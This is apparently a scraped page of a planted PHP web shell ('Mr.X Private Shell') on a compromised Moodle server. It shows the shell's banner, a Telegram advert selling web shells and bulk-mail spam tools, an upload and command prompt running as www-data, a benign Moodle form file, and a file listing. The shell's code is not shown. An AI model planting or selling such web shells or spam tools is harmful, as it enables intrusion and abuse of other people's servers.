__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

use core_completion\manager;

/**
 * Default activity completion form
 *
 * @package     core_completion
 * @copyright   2017 Marina Glancy
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class core_completion_defaultedit_form extends core_completion_edit_base_form {
    /** @var array */
    protected $modules;
    /** @var array */
    protected $_modnames;

    public function __construct(
        $action = null,
        $customdata = null,
        $method = 'post',
        $target = '',
        $attributes = null,
        $editable = true,
        $ajaxformdata = null
    ) {
        $this->modules = $customdata['modules'];
        if ($modname = $this->get_module_name()) {
            // Set the form suffix to the module name so that the form identifier is unique for each module type.
            $this->set_suffix('_' . $modname);
        }

        parent::__construct($action, $customdata, $method, $target, $attributes, $editable, $ajaxformdata);
    }


    /**
     * Returns list of types of selected modules
     *
     * @return array modname=>modfullname
     */
    protected function get_module_names() {
        if ($this->_modnames !== null) {
            return $this->_modnames;
        }
        $this->_modnames = [];
        foreach ($this->modules as $module) {
            $this->_modnames[$module->name] = $module->formattedname;
        }
        return $this->_modnames;
    }

    /**
     * Returns an instance of component-specific module form for the first selected module
     *
     * @return moodleform_mod|null
     */
    protected function get_module_form() {
        if ($this->_moduleform) {
            return $this->_moduleform;
        }

        $modnames = array_keys($this->get_module_names());
        $this->_moduleform = manager::get_module_form(
                modname: $modnames[0],
                course: $this->course,
                suffix: $this->get_suffix(),
        );

        return $this->_moduleform;
    }

    /**
     * Form definition,
     */
    public function definition() {
        $course = $this->_customdata['course'];
        $this->course = is_numeric($course) ? get_course($course) : $course;
        $this->modules = $this->_customdata['modules'];

        $mform = $this->_form;

        foreach ($this->modules as $modid => $module) {
            $mform->addElement('hidden', 'modids['.$modid.']', $modid);
            $mform->setType('modids['.$modid.']', PARAM_INT);
        }

        parent::definition();

        $modform = $this->get_module_form();
        if ($modform) {
            $modnames = array_keys($this->get_module_names());
            $modname = $modnames[0];
            // Pre-fill the form with the current completion rules of the first selected module type.
            list($module, $context, $cw, $cmrec, $data) = prepare_new_moduleinfo_data(
                $this->course,
                $modname,
                0,
                $this->get_suffix()
            );
            $data = (array)$data;
            try {
                $modform->data_preprocessing($data);
            } catch (moodle_exception $e) {
                debugging(
                    'data_preprocessing function of module ' . $modnames[0] .
                    ' should be fixed so it can be shown together with other Default activity completion forms',
                    DEBUG_DEVELOPER
                );
            }
            // Unset fields that will conflict with this form and set data to this form.
            unset($data['cmid']);
            unset($data['modids']);
            unset($data['id']);
            $this->set_data($data);
        }
    }

    /**
     * This method has been overridden because the form identifier must be unique for each module type.
     * Otherwise, the form will display the same data for each module type once it's submitted.
     */
    protected function get_form_identifier() {
        return parent::get_form_identifier() . $this->get_suffix();
    }
}

Filemanager

Name Type Size Permission Actions
external Folder 0777
form Folder 0777
privacy Folder 0777
activity_custom_completion.php File 7.05 KB 0777
api.php File 8.08 KB 0777
bulkedit_form.php File 5.07 KB 0777
cm_completion_details.php File 11.66 KB 0777
defaultedit_form.php File 4.62 KB 0777
edit_base_form.php File 11.49 KB 0777
external.php File 23.19 KB 0777
manager.php File 27.32 KB 0777
progress.php File 2.73 KB 0777
Filemanager